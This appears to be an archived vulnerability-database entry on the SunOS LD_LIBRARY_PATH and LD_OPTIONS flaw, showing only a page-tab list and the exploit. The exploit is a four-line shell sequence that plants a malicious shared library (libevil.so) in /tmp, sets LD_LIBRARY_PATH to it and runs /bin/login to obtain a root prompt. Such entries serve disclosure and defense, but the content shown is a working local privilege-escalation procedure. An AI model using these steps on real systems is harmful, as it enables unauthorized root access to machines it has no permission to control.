• info
• discussion
• exploit
• solution
• references

SunOS LD_LIBRARY_PATH and LD_OPTIONS Vulnerability

$ mkdir /tmp/mylib
$ cp libevil.so /tmp/mylib
$ export LD_LIBRARY_PATH=/tmp/mylib
$ /bin/login
#